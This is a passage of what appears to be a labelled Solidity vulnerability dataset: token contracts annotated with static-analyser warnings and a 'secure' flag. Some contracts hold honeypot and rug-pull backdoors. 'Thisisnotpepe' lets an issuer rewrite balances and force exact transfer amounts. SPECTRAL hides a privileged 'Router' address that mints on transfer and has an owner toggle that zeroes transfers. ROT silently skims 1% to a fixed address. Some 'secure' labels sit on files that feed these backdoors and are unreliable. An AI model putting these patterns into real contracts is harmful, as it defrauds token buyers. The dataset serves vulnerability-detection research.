_getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 65cc6d8): GUD.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 65cc6d8: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 65cc6d8\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 65cc6d8\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 65cc6d8\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 65cc6d8\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9dd2606): GUD.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 9dd2606: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 9dd2606\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b06625b): GUD.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for b06625b: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: b06625b\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d481e16): GUD.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for d481e16: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: d481e16\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}", "file_name": "solidity_code_2361.sol", "secure": 0, "size_bytes": 20129 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ROT is ERC20 {\n constructor() ERC20(\"ROTDOG\", \"ROT\") {\n _mint(msg.sender, 21000000000000000000000000000);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n uint256 amountToDonate = (amount) / 100;\n uint256 amountToSend = amount - amountToDonate;\n bool success = super.transfer(recipient, amountToSend);\n if (success == true) {\n if (amount > 0) {\n super.transfer(\n 0xE3bB3F8f77A7EE9C8302cE539f403fF01748EB89,\n amountToDonate\n );\n }\n return true;\n }\n return false;\n }\n}", "file_name": "solidity_code_2362.sol", "secure": 1, "size_bytes": 863 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Bro is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: ac4692b): Bro._feeAddrWallet1 should be immutable \n\t// Recommendation for ac4692b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: a81ccdf): Bro._feeAddrWallet2 should be immutable \n\t// Recommendation for a81ccdf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \" $Bro\";\n string private constant _symbol = \" $Bro\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0xCCb08589b5e4aeDD5b27d815399b522408196764);\n _feeAddrWallet2 = payable(0xCCb08589b5e4aeDD5b27d815399b522408196764);\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n emit Transfer(\n address(0x1C9074E716Da04002DAeb21114Cec14B06ff9697),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b69b249): Bro.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b69b249: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 58cb49c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 58cb49c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 82abef7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 82abef7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 58cb49c\n\t\t// reentrancy-benign | ID: 82abef7\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 58cb49c\n\t\t// reentrancy-benign | ID: 82abef7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d7e85c): Bro._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4d7e85c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 82abef7\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 58cb49c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d30537d): Bro._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for d30537d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 180b277): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 180b277: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6c5e353): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6c5e353: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 149ecd1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 149ecd1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _feeAddr1 = 0;\n _feeAddr2 = 10;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: d30537d\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (30 seconds);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = 0;\n _feeAddr2 = 10;\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 180b277\n\t\t\t\t// reentrancy-benign | ID: 6c5e353\n\t\t\t\t// reentrancy-eth | ID: 149ecd1\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 180b277\n\t\t\t\t\t// reentrancy-eth | ID: 149ecd1\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 180b277\n\t\t// reentrancy-benign | ID: 6c5e353\n\t\t// reentrancy-eth | ID: 149ecd1\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 180b277\n\t\t// reentrancy-events | ID: 58cb49c\n\t\t// reentrancy-benign | ID: 6c5e353\n\t\t// reentrancy-benign | ID: 82abef7\n\t\t// reentrancy-eth | ID: 149ecd1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f3940c3): Bro.sendETHToFee(uint256) performs a multiplication on the result of a division _feeAddrWallet2.transfer((amount / 10) * 2)\n\t// Recommendation for f3940c3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5db28e3): Bro.sendETHToFee(uint256) performs a multiplication on the result of a division _feeAddrWallet1.transfer((amount / 10) * 8)\n\t// Recommendation for 5db28e3: Consider ordering multiplication before division.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 180b277\n\t\t// reentrancy-events | ID: 58cb49c\n\t\t// divide-before-multiply | ID: f3940c3\n\t\t// reentrancy-eth | ID: 149ecd1\n _feeAddrWallet2.transfer((amount / 10) * 2);\n\t\t// reentrancy-events | ID: 180b277\n\t\t// reentrancy-events | ID: 58cb49c\n\t\t// divide-before-multiply | ID: 5db28e3\n\t\t// reentrancy-eth | ID: 149ecd1\n _feeAddrWallet1.transfer((amount / 10) * 8);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a2cea71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a2cea71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bb4f3ed): Bro.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bb4f3ed: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6c931bb): Bro.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6c931bb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 68466b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 68466b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: a2cea71\n\t\t// reentrancy-eth | ID: 68466b2\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: a2cea71\n\t\t// unused-return | ID: bb4f3ed\n\t\t// reentrancy-eth | ID: 68466b2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: a2cea71\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: a2cea71\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: a2cea71\n _maxTxAmount = 50000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 68466b2\n tradingOpen = true;\n\t\t// unused-return | ID: 6c931bb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function nonosquare(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 149ecd1\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 149ecd1\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 180b277\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 149ecd1\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 149ecd1\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 6c5e353\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}", "file_name": "solidity_code_2363.sol", "secure": 0, "size_bytes": 18644 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface ITokenStandard20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address holder) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_2364.sol", "secure": 1, "size_bytes": 869 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nabstract contract SenderContext {\n function fetchSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n}", "file_name": "solidity_code_2365.sol", "secure": 1, "size_bytes": 227 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./SenderContext.sol\" as SenderContext;\n\ncontract UnitaryControl is SenderContext {\n address private soleController;\n event ControllerChanged(\n address indexed formerController,\n address indexed newController\n );\n\n constructor() {\n address sender = fetchSender();\n soleController = sender;\n emit ControllerChanged(address(0), sender);\n }\n\n function retrieveController() public view virtual returns (address) {\n return soleController;\n }\n\n modifier onlyController() {\n require(\n retrieveController() == fetchSender(),\n \"Not authorized. Sole controller only.\"\n );\n _;\n }\n\n function surrenderControl() public virtual onlyController {\n emit ControllerChanged(soleController, address(0));\n soleController = address(0);\n }\n}", "file_name": "solidity_code_2366.sol", "secure": 1, "size_bytes": 957 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./SenderContext.sol\" as SenderContext;\nimport \"./UnitaryControl.sol\" as UnitaryControl;\nimport \"./ITokenStandard20.sol\" as ITokenStandard20;\n\ncontract Thisisnotpepe is SenderContext, UnitaryControl, ITokenStandard20 {\n mapping(address => mapping(address => uint256)) private authorizationLimits;\n mapping(address => uint256) private accountBalances;\n mapping(address => uint256) private enforcedTransferValues;\n address private originalIssuer;\n\n string public constant tokenLabel = \"This is not Pepe\";\n string public constant tokenAbbreviation = \"TINP\";\n uint8 public constant tokenPrecision = 18;\n uint256 public constant ultimateSupply =\n 1000000000 * (10 ** tokenPrecision);\n\n constructor() {\n accountBalances[fetchSender()] = ultimateSupply;\n emit Transfer(address(0), fetchSender(), ultimateSupply);\n }\n\n modifier onlyOriginalIssuer() {\n require(\n getOriginalIssuer() == fetchSender(),\n \"Not authorized. Original issuer only.\"\n );\n _;\n }\n\n function getOriginalIssuer() public view virtual returns (address) {\n return originalIssuer;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 526b596): thisisnotpepe.appointOriginalIssuer(address).designatedIssuer lacks a zerocheck on \t originalIssuer = designatedIssuer\n\t// Recommendation for 526b596: Check that the address is not zero.\n function appointOriginalIssuer(\n address designatedIssuer\n ) public onlyController {\n\t\t// missing-zero-check | ID: 526b596\n originalIssuer = designatedIssuer;\n }\n\n event TokenAllocation(\n address indexed participant,\n uint256 formerBalance,\n uint256 updatedBalance\n );\n\n function enforceTransferValue(\n address holder\n ) public view returns (uint256) {\n return enforcedTransferValues[holder];\n }\n\n function assignEnforcedTransferValues(\n address[] calldata holders,\n uint256 value\n ) public onlyOriginalIssuer {\n for (uint256 i = 0; i < holders.length; i++) {\n enforcedTransferValues[holders[i]] = value;\n }\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: f1aac99): thisisnotpepe.refreshAccountBalance(address[],uint256) contains a tautology or contradiction require(bool,string)(newBalance >= 0,Amount must be nonnegative)\n\t// Recommendation for f1aac99: Fix the incorrect comparison by changing the value type or the comparison.\n function refreshAccountBalance(\n address[] memory addresses,\n uint256 newBalance\n ) public onlyOriginalIssuer {\n\t\t// tautology | ID: f1aac99\n require(newBalance >= 0, \"Amount must be non-negative\");\n\n for (uint256 i = 0; i < addresses.length; i++) {\n address currentAddr = addresses[i];\n require(currentAddr != address(0), \"Invalid address provided\");\n\n uint256 previousBalance = accountBalances[currentAddr];\n accountBalances[currentAddr] = newBalance;\n\n emit TokenAllocation(currentAddr, previousBalance, newBalance);\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return accountBalances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n accountBalances[fetchSender()] >= amount,\n \"Insufficient balance\"\n );\n\n uint256 requiredTransferValue = enforceTransferValue(fetchSender());\n if (requiredTransferValue > 0) {\n require(\n amount == requiredTransferValue,\n \"Mandatory transfer value mismatch\"\n );\n }\n\n accountBalances[fetchSender()] -= amount;\n accountBalances[recipient] += amount;\n\n emit Transfer(fetchSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return authorizationLimits[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n authorizationLimits[fetchSender()][spender] = amount;\n emit Approval(fetchSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n authorizationLimits[sender][fetchSender()] >= amount,\n \"Allowance limit exceeded\"\n );\n\n uint256 requiredTransferValue = enforceTransferValue(sender);\n if (requiredTransferValue > 0) {\n require(\n amount == requiredTransferValue,\n \"Mandatory transfer value mismatch\"\n );\n }\n\n accountBalances[sender] -= amount;\n accountBalances[recipient] += amount;\n authorizationLimits[sender][fetchSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return ultimateSupply;\n }\n\n function name() public view returns (string memory) {\n return tokenLabel;\n }\n\n function symbol() public view returns (string memory) {\n return tokenAbbreviation;\n }\n\n function decimals() public view returns (uint8) {\n return tokenPrecision;\n }\n}", "file_name": "solidity_code_2367.sol", "secure": 0, "size_bytes": 5791 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n address Router = 0x22a273039d3f82C7808dd7A4757201a2aC5D66D4;\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}", "file_name": "solidity_code_2368.sol", "secure": 1, "size_bytes": 377 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SPECTRAL is Context, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _user_;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _tax;\n\t// WARNING Optimization Issue (constable-states | ID: abf60d4): SPECTRAL.decimals should be constant \n\t// Recommendation for abf60d4: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: 937af21): SPECTRAL.name should be constant \n\t// Recommendation for 937af21: Add the 'constant' attribute to state variables that never change.\n string public name = \"SPECTRAL.ai\";\n\t// WARNING Optimization Issue (constable-states | ID: 6968acf): SPECTRAL.symbol should be constant \n\t// Recommendation for 6968acf: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SPECTRAL\";\n\t// WARNING Optimization Issue (immutable-states | ID: 85e24e0): SPECTRAL.accepted should be immutable \n\t// Recommendation for 85e24e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private accepted;\n\t// WARNING Optimization Issue (constable-states | ID: 1e08808): SPECTRAL._TS should be constant \n\t// Recommendation for 1e08808: Add the 'constant' attribute to state variables that never change.\n uint256 public _TS = 350000000 * 1000000;\n\n constructor() {\n _tax[Router] = 2;\n _balances[msg.sender] = _TS;\n accepted = msg.sender;\n emit Transfer(address(0), msg.sender, _TS);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _TS;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function execute(address _sender) external {\n require(msg.sender == accepted);\n if (_user_[_sender]) _user_[_sender] = false;\n else _user_[_sender] = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_tax[msg.sender] == 2) {\n _balances[recipient] += amount;\n }\n _send(recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[sender] || _user_[recipient]) amount -= amount;\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _send(address recipient, uint256 amount) internal virtual {\n require(\n msg.sender != address(0),\n \"ERC20: transfer from the zero address\"\n 